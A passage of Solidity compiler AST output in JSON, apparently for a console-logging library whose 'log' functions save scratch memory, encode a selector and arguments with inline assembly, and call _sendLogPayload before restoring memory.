eDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36634,"mutability":"mutable","name":"p1","nameLocation":"90763:2:22","nodeType":"VariableDeclaration","scope":36664,"src":"90755:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36633,"name":"address","nodeType":"ElementaryTypeName","src":"90755:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36636,"mutability":"mutable","name":"p2","nameLocation":"90775:2:22","nodeType":"VariableDeclaration","scope":36664,"src":"90767:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":36635,"name":"uint256","nodeType":"ElementaryTypeName","src":"90767:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":36638,"mutability":"mutable","name":"p3","nameLocation":"90787:2:22","nodeType":"VariableDeclaration","scope":36664,"src":"90779:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36637,"name":"address","nodeType":"ElementaryTypeName","src":"90779:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"90742:48:22"},"returnParameters":{"id":36640,"nodeType":"ParameterList","parameters":[],"src":"90805:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36698,"nodeType":"FunctionDefinition","src":"91528:786:22","nodes":[],"body":{"id":36697,"nodeType":"Block","src":"91600:714:22","nodes":[],"statements":[{"assignments":[36676],"declarations":[{"constant":false,"id":36676,"mutability":"mutable","name":"m0","nameLocation":"91618:2:22","nodeType":"VariableDeclaration","scope":36697,"src":"91610:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36675,"name":"bytes32","nodeType":"ElementaryTypeName","src":"91610:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36677,"nodeType":"VariableDeclarationStatement","src":"91610:10:22"},{"assignments":[36679],"declarations":[{"constant":false,"id":36679,"mutability":"mutable","name":"m1","nameLocation":"91638:2:22","nodeType":"VariableDeclaration","scope":36697,"src":"91630:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36678,"name":"bytes32","nodeType":"ElementaryTypeName","src":"91630:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36680,"nodeType":"VariableDeclarationStatement","src":"91630:10:22"},{"assignments":[36682],"declarations":[{"constant":false,"id":36682,"mutability":"mutable","name":"m2","nameLocation":"91658:2:22","nodeType":"VariableDeclaration","scope":36697,"src":"91650:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36681,"name":"bytes32","nodeType":"ElementaryTypeName","src":"91650:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36683,"nodeType":"VariableDeclarationStatement","src":"91650:10:22"},{"assignments":[36685],"declarations":[{"constant":false,"id":36685,"mutability":"mutable","name":"m3","nameLocation":"91678:2:22","nodeType":"VariableDeclaration","scope":36697,"src":"91670:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36684,"name":"bytes32","nodeType":"ElementaryTypeName","src":"91670:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36686,"nodeType":"VariableDeclarationStatement","src":"91670:10:22"},{"assignments":[36688],"declarations":[{"constant":false,"id":36688,"mutability":"mutable","name":"m4","nameLocation":"91698:2:22","nodeType":"VariableDeclaration","scope":36697,"src":"91690:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36687,"name":"bytes32","nodeType":"ElementaryTypeName","src":"91690:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36689,"nodeType":"VariableDeclarationStatement","src":"91690:10:22"},{"AST":{"nativeSrc":"91719:378:22","nodeType":"YulBlock","src":"91719:378:22","statements":[{"nativeSrc":"91733:17:22","nodeType":"YulAssignment","src":"91733:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"91745:4:22","nodeType":"YulLiteral","src":"91745:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"91739:5:22","nodeType":"YulIdentifier","src":"91739:5:22"},"nativeSrc":"91739:11:22","nodeType":"YulFunctionCall","src":"91739:11:22"},"variableNames":[{"name":"m0","nativeSrc":"91733:2:22","nodeType":"YulIdentifier","src":"91733:2:22"}]},{"nativeSrc":"91763:17:22","nodeType":"YulAssignment","src":"91763:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"91775:4:22","nodeType":"YulLiteral","src":"91775:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"91769:5:22","nodeType":"YulIdentifier","src":"91769:5:22"},"nativeSrc":"91769:11:22","nodeType":"YulFunctionCall","src":"91769:11:22"},"variableNames":[{"name":"m1","nativeSrc":"91763:2:22","nodeType":"YulIdentifier","src":"91763:2:22"}]},{"nativeSrc":"91793:17:22","nodeType":"YulAssignment","src":"91793:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"91805:4:22","nodeType":"YulLiteral","src":"91805:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"91799:5:22","nodeType":"YulIdentifier","src":"91799:5:22"},"nativeSrc":"91799:11:22","nodeType":"YulFunctionCall","src":"91799:11:22"},"variableNames":[{"name":"m2","nativeSrc":"91793:2:22","nodeType":"YulIdentifier","src":"91793:2:22"}]},{"nativeSrc":"91823:17:22","nodeType":"YulAssignment","src":"91823:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"91835:4:22","nodeType":"YulLiteral","src":"91835:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"91829:5:22","nodeType":"YulIdentifier","src":"91829:5:22"},"nativeSrc":"91829:11:22","nodeType":"YulFunctionCall","src":"91829:11:22"},"variableNames":[{"name":"m3","nativeSrc":"91823:2:22","nodeType":"YulIdentifier","src":"91823:2:22"}]},{"nativeSrc":"91853:17:22","nodeType":"YulAssignment","src":"91853:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"91865:4:22","nodeType":"YulLiteral","src":"91865:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"91859:5:22","nodeType":"YulIdentifier","src":"91859:5:22"},"nativeSrc":"91859:11:22","nodeType":"YulFunctionCall","src":"91859:11:22"},"variableNames":[{"name":"m4","nativeSrc":"91853:2:22","nodeType":"YulIdentifier","src":"91853:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"91954:4:22","nodeType":"YulLiteral","src":"91954:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"91960:10:22","nodeType":"YulLiteral","src":"91960:10:22","type":"","value":"0x9b4254e2"}],"functionName":{"name":"mstore","nativeSrc":"91947:6:22","nodeType":"YulIdentifier","src":"91947:6:22"},"nativeSrc":"91947:24:22","nodeType":"YulFunctionCall","src":"91947:24:22"},"nativeSrc":"91947:24:22","nodeType":"YulExpressionStatement","src":"91947:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"91991:4:22","nodeType":"YulLiteral","src":"91991:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"91997:2:22","nodeType":"YulIdentifier","src":"91997:2:22"}],"functionName":{"name":"mstore","nativeSrc":"91984:6:22","nodeType":"YulIdentifier","src":"91984:6:22"},"nativeSrc":"91984:16:22","nodeType":"YulFunctionCall","src":"91984:16:22"},"nativeSrc":"91984:16:22","nodeType":"YulExpressionStatement","src":"91984:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"92020:4:22","nodeType":"YulLiteral","src":"92020:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"92026:2:22","nodeType":"YulIdentifier","src":"92026:2:22"}],"functionName":{"name":"mstore","nativeSrc":"92013:6:22","nodeType":"YulIdentifier","src":"92013:6:22"},"nativeSrc":"92013:16:22","nodeType":"YulFunctionCall","src":"92013:16:22"},"nativeSrc":"92013:16:22","nodeType":"YulExpressionStatement","src":"92013:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"92049:4:22","nodeType":"YulLiteral","src":"92049:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"92055:2:22","nodeType":"YulIdentifier","src":"92055:2:22"}],"functionName":{"name":"mstore","nativeSrc":"92042:6:22","nodeType":"YulIdentifier","src":"92042:6:22"},"nativeSrc":"92042:16:22","nodeType":"YulFunctionCall","src":"92042:16:22"},"nativeSrc":"92042:16:22","nodeType":"YulExpressionStatement","src":"92042:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"92078:4:22","nodeType":"YulLiteral","src":"92078:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"92084:2:22","nodeType":"YulIdentifier","src":"92084:2:22"}],"functionName":{"name":"mstore","nativeSrc":"92071:6:22","nodeType":"YulIdentifier","src":"92071:6:22"},"nativeSrc":"92071:16:22","nodeType":"YulFunctionCall","src":"92071:16:22"},"nativeSrc":"92071:16:22","nodeType":"YulExpressionStatement","src":"92071:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36676,"isOffset":false,"isSlot":false,"src":"91733:2:22","valueSize":1},{"declaration":36679,"isOffset":false,"isSlot":false,"src":"91763:2:22","valueSize":1},{"declaration":36682,"isOffset":false,"isSlot":false,"src":"91793:2:22","valueSize":1},{"declaration":36685,"isOffset":false,"isSlot":false,"src":"91823:2:22","valueSize":1},{"declaration":36688,"isOffset":false,"isSlot":false,"src":"91853:2:22","valueSize":1},{"declaration":36666,"isOffset":false,"isSlot":false,"src":"91997:2:22","valueSize":1},{"declaration":36668,"isOffset":false,"isSlot":false,"src":"92026:2:22","valueSize":1},{"declaration":36670,"isOffset":false,"isSlot":false,"src":"92055:2:22","valueSize":1},{"declaration":36672,"isOffset":false,"isSlot":false,"src":"92084:2:22","valueSize":1}],"id":36690,"nodeType":"InlineAssembly","src":"91710:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36692,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"92122:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":36693,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"92128:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":36691,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"92106:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36694,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"92106:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36695,"nodeType":"ExpressionStatement","src":"92106:27:22"},{"AST":{"nativeSrc":"92152:156:22","nodeType":"YulBlock","src":"92152:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"92173:4:22","nodeType":"YulLiteral","src":"92173:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"92179:2:22","nodeType":"YulIdentifier","src":"92179:2:22"}],"functionName":{"name":"mstore","nativeSrc":"92166:6:22","nodeType":"YulIdentifier","src":"92166:6:22"},"nativeSrc":"92166:16:22","nodeType":"YulFunctionCall","src":"92166:16:22"},"nativeSrc":"92166:16:22","nodeType":"YulExpressionStatement","src":"92166:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"92202:4:22","nodeType":"YulLiteral","src":"92202:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"92208:2:22","nodeType":"YulIdentifier","src":"92208:2:22"}],"functionName":{"name":"mstore","nativeSrc":"92195:6:22","nodeType":"YulIdentifier","src":"92195:6:22"},"nativeSrc":"92195:16:22","nodeType":"YulFunctionCall","src":"92195:16:22"},"nativeSrc":"92195:16:22","nodeType":"YulExpressionStatement","src":"92195:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"92231:4:22","nodeType":"YulLiteral","src":"92231:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"92237:2:22","nodeType":"YulIdentifier","src":"92237:2:22"}],"functionName":{"name":"mstore","nativeSrc":"92224:6:22","nodeType":"YulIdentifier","src":"92224:6:22"},"nativeSrc":"92224:16:22","nodeType":"YulFunctionCall","src":"92224:16:22"},"nativeSrc":"92224:16:22","nodeType":"YulExpressionStatement","src":"92224:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"92260:4:22","nodeType":"YulLiteral","src":"92260:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"92266:2:22","nodeType":"YulIdentifier","src":"92266:2:22"}],"functionName":{"name":"mstore","nativeSrc":"92253:6:22","nodeType":"YulIdentifier","src":"92253:6:22"},"nativeSrc":"92253:16:22","nodeType":"YulFunctionCall","src":"92253:16:22"},"nativeSrc":"92253:16:22","nodeType":"YulExpressionStatement","src":"92253:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"92289:4:22","nodeType":"YulLiteral","src":"92289:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"92295:2:22","nodeType":"YulIdentifier","src":"92295:2:22"}],"functionName":{"name":"mstore","nativeSrc":"92282:6:22","nodeType":"YulIdentifier","src":"92282:6:22"},"nativeSrc":"92282:16:22","nodeType":"YulFunctionCall","src":"92282:16:22"},"nativeSrc":"92282:16:22","nodeType":"YulExpressionStatement","src":"92282:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36676,"isOffset":false,"isSlot":false,"src":"92179:2:22","valueSize":1},{"declaration":36679,"isOffset":false,"isSlot":false,"src":"92208:2:22","valueSize":1},{"declaration":36682,"isOffset":false,"isSlot":false,"src":"92237:2:22","valueSize":1},{"declaration":36685,"isOffset":false,"isSlot":false,"src":"92266:2:22","valueSize":1},{"declaration":36688,"isOffset":false,"isSlot":false,"src":"92295:2:22","valueSize":1}],"id":36696,"nodeType":"InlineAssembly","src":"92143:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"91537:3:22","parameters":{"id":36673,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36666,"mutability":"mutable","name":"p0","nameLocation":"91549:2:22","nodeType":"VariableDeclaration","scope":36698,"src":"91541:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36665,"name":"address","nodeType":"ElementaryTypeName","src":"91541:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36668,"mutability":"mutable","name":"p1","nameLocation":"91561:2:22","nodeType":"VariableDeclaration","scope":36698,"src":"91553:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36667,"name":"address","nodeType":"ElementaryTypeName","src":"91553:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36670,"mutability":"mutable","name":"p2","nameLocation":"91573:2:22","nodeType":"VariableDeclaration","scope":36698,"src":"91565:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":36669,"name":"uint256","nodeType":"ElementaryTypeName","src":"91565:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":36672,"mutability":"mutable","name":"p3","nameLocation":"91582:2:22","nodeType":"VariableDeclaration","scope":36698,"src":"91577:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":36671,"name":"bool","nodeType":"ElementaryTypeName","src":"91577:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"91540:45:22"},"returnParameters":{"id":36674,"nodeType":"ParameterList","parameters":[],"src":"91600:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36732,"nodeType":"FunctionDefinition","src":"92320:792:22","nodes":[],"body":{"id":36731,"nodeType":"Block","src":"92395:717:22","nodes":[],"statements":[{"assignments":[36710],"declarations":[{"constant":false,"id":36710,"mutability":"mutable","name":"m0","nameLocation":"92413:2:22","nodeType":"VariableDeclaration","scope":36731,"src":"92405:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36709,"name":"bytes32","nodeType":"ElementaryTypeName","src":"92405:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36711,"nodeType":"VariableDeclarationStatement","src":"92405:10:22"},{"assignments":[36713],"declarations":[{"constant":false,"id":36713,"mutability":"mutable","name":"m1","nameLocation":"92433:2:22","nodeType":"VariableDeclaration","scope":36731,"src":"92425:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36712,"name":"bytes32","nodeType":"ElementaryTypeName","src":"92425:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36714,"nodeType":"VariableDeclarationStatement","src":"92425:10:22"},{"assignments":[36716],"declarations":[{"constant":false,"id":36716,"mutability":"mutable","name":"m2","nameLocation":"92453:2:22","nodeType":"VariableDeclaration","scope":36731,"src":"92445:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36715,"name":"bytes32","nodeType":"ElementaryTypeName","src":"92445:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36717,"nodeType":"VariableDeclarationStatement","src":"92445:10:22"},{"assignments":[36719],"declarations":[{"constant":false,"id":36719,"mutability":"mutable","name":"m3","nameLocation":"92473:2:22","nodeType":"VariableDeclaration","scope":36731,"src":"92465:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36718,"name":"bytes32","nodeType":"ElementaryTypeName","src":"92465:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36720,"nodeType":"VariableDeclarationStatement","src":"92465:10:22"},{"assignments":[36722],"declarations":[{"constant":false,"id":36722,"mutability":"mutable","name":"m4","nameLocation":"92493:2:22","nodeType":"VariableDeclaration","scope":36731,"src":"92485:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36721,"name":"bytes32","nodeType":"ElementaryTypeName","src":"92485:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36723,"nodeType":"VariableDeclarationStatement","src":"92485:10:22"},{"AST":{"nativeSrc":"92514:381:22","nodeType":"YulBlock","src":"92514:381:22","statements":[{"nativeSrc":"92528:17:22","nodeType":"YulAssignment","src":"92528:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"92540:4:22","nodeType":"YulLiteral","src":"92540:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"92534:5:22","nodeType":"YulIdentifier","src":"92534:5:22"},"nativeSrc":"92534:11:22","nodeType":"YulFunctionCall","src":"92534:11:22"},"variableNames":[{"name":"m0","nativeSrc":"92528:2:22","nodeType":"YulIdentifier","src":"92528:2:22"}]},{"nativeSrc":"92558:17:22","nodeType":"YulAssignment","src":"92558:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"92570:4:22","nodeType":"YulLiteral","src":"92570:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"92564:5:22","nodeType":"YulIdentifier","src":"92564:5:22"},"nativeSrc":"92564:11:22","nodeType":"YulFunctionCall","src":"92564:11:22"},"variableNames":[{"name":"m1","nativeSrc":"92558:2:22","nodeType":"YulIdentifier","src":"92558:2:22"}]},{"nativeSrc":"92588:17:22","nodeType":"YulAssignment","src":"92588:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"92600:4:22","nodeType":"YulLiteral","src":"92600:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"92594:5:22","nodeType":"YulIdentifier","src":"92594:5:22"},"nativeSrc":"92594:11:22","nodeType":"YulFunctionCall","src":"92594:11:22"},"variableNames":[{"name":"m2","nativeSrc":"92588:2:22","nodeType":"YulIdentifier","src":"92588:2:22"}]},{"nativeSrc":"92618:17:22","nodeType":"YulAssignment","src":"92618:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"92630:4:22","nodeType":"YulLiteral","src":"92630:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"92624:5:22","nodeType":"YulIdentifier","src":"92624:5:22"},"nativeSrc":"92624:11:22","nodeType":"YulFunctionCall","src":"92624:11:22"},"variableNames":[{"name":"m3","nativeSrc":"92618:2:22","nodeType":"YulIdentifier","src":"92618:2:22"}]},{"nativeSrc":"92648:17:22","nodeType":"YulAssignment","src":"92648:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"92660:4:22","nodeType":"YulLiteral","src":"92660:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"92654:5:22","nodeType":"YulIdentifier","src":"92654:5:22"},"nativeSrc":"92654:11:22","nodeType":"YulFunctionCall","src":"92654:11:22"},"variableNames":[{"name":"m4","nativeSrc":"92648:2:22","nodeType":"YulIdentifier","src":"92648:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"92752:4:22","nodeType":"YulLiteral","src":"92752:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"92758:10:22","nodeType":"YulLiteral","src":"92758:10:22","type":"","value":"0xbe553481"}],"functionName":{"name":"mstore","nativeSrc":"92745:6:22","nodeType":"YulIdentifier","src":"92745:6:22"},"nativeSrc":"92745:24:22","nodeType":"YulFunctionCall","src":"92745:24:22"},"nativeSrc":"92745:24:22","nodeType":"YulExpressionStatement","src":"92745:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"92789:4:22","nodeType":"YulLiteral","src":"92789:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"92795:2:22","nodeType":"YulIdentifier","src":"92795:2:22"}],"functionName":{"name":"mstore","nativeSrc":"92782:6:22","nodeType":"YulIdentifier","src":"92782:6:22"},"nativeSrc":"92782:16:22","nodeType":"YulFunctionCall","src":"92782:16:22"},"nativeSrc":"92782:16:22","nodeType":"YulExpressionStatement","src":"92782:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"92818:4:22","nodeType":"YulLiteral","src":"92818:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"92824:2:22","nodeType":"YulIdentifier","src":"92824:2:22"}],"functionName":{"name":"mstore","nativeSrc":"92811:6:22","nodeType":"YulIdentifier","src":"92811:6:22"},"nativeSrc":"92811:16:22","nodeType":"YulFunctionCall","src":"92811:16:22"},"nativeSrc":"92811:16:22","nodeType":"YulExpressionStatement","src":"92811:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"92847:4:22","nodeType":"YulLiteral","src":"92847:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"92853:2:22","nodeType":"YulIdentifier","src":"92853:2:22"}],"functionName":{"name":"mstore","nativeSrc":"92840:6:22","nodeType":"YulIdentifier","src":"92840:6:22"},"nativeSrc":"92840:16:22","nodeType":"YulFunctionCall","src":"92840:16:22"},"nativeSrc":"92840:16:22","nodeType":"YulExpressionStatement","src":"92840:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"92876:4:22","nodeType":"YulLiteral","src":"92876:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"92882:2:22","nodeType":"YulIdentifier","src":"92882:2:22"}],"functionName":{"name":"mstore","nativeSrc":"92869:6:22","nodeType":"YulIdentifier","src":"92869:6:22"},"nativeSrc":"92869:16:22","nodeType":"YulFunctionCall","src":"92869:16:22"},"nativeSrc":"92869:16:22","nodeType":"YulExpressionStatement","src":"92869:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36710,"isOffset":false,"isSlot":false,"src":"92528:2:22","valueSize":1},{"declaration":36713,"isOffset":false,"isSlot":false,"src":"92558:2:22","valueSize":1},{"declaration":36716,"isOffset":false,"isSlot":false,"src":"92588:2:22","valueSize":1},{"declaration":36719,"isOffset":false,"isSlot":false,"src":"92618:2:22","valueSize":1},{"declaration":36722,"isOffset":false,"isSlot":false,"src":"92648:2:22","valueSize":1},{"declaration":36700,"isOffset":false,"isSlot":false,"src":"92795:2:22","valueSize":1},{"declaration":36702,"isOffset":false,"isSlot":false,"src":"92824:2:22","valueSize":1},{"declaration":36704,"isOffset":false,"isSlot":false,"src":"92853:2:22","valueSize":1},{"declaration":36706,"isOffset":false,"isSlot":false,"src":"92882:2:22","valueSize":1}],"id":36724,"nodeType":"InlineAssembly","src":"92505:390:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36726,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"92920:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":36727,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"92926:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":36725,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"92904:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36728,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"92904:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36729,"nodeType":"ExpressionStatement","src":"92904:27:22"},{"AST":{"nativeSrc":"92950:156:22","nodeType":"YulBlock","src":"92950:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"92971:4:22","nodeType":"YulLiteral","src":"92971:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"92977:2:22","nodeType":"YulIdentifier","src":"92977:2:22"}],"functionName":{"name":"mstore","nativeSrc":"92964:6:22","nodeType":"YulIdentifier","src":"92964:6:22"},"nativeSrc":"92964:16:22","nodeType":"YulFunctionCall","src":"92964:16:22"},"nativeSrc":"92964:16:22","nodeType":"YulExpressionStatement","src":"92964:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"93000:4:22","nodeType":"YulLiteral","src":"93000:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"93006:2:22","nodeType":"YulIdentifier","src":"93006:2:22"}],"functionName":{"name":"mstore","nativeSrc":"92993:6:22","nodeType":"YulIdentifier","src":"92993:6:22"},"nativeSrc":"92993:16:22","nodeType":"YulFunctionCall","src":"92993:16:22"},"nativeSrc":"92993:16:22","nodeType":"YulExpressionStatement","src":"92993:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"93029:4:22","nodeType":"YulLiteral","src":"93029:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"93035:2:22","nodeType":"YulIdentifier","src":"93035:2:22"}],"functionName":{"name":"mstore","nativeSrc":"93022:6:22","nodeType":"YulIdentifier","src":"93022:6:22"},"nativeSrc":"93022:16:22","nodeType":"YulFunctionCall","src":"93022:16:22"},"nativeSrc":"93022:16:22","nodeType":"YulExpressionStatement","src":"93022:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"93058:4:22","nodeType":"YulLiteral","src":"93058:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"93064:2:22","nodeType":"YulIdentifier","src":"93064:2:22"}],"functionName":{"name":"mstore","nativeSrc":"93051:6:22","nodeType":"YulIdentifier","src":"93051:6:22"},"nativeSrc":"93051:16:22","nodeType":"YulFunctionCall","src":"93051:16:22"},"nativeSrc":"93051:16:22","nodeType":"YulExpressionStatement","src":"93051:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc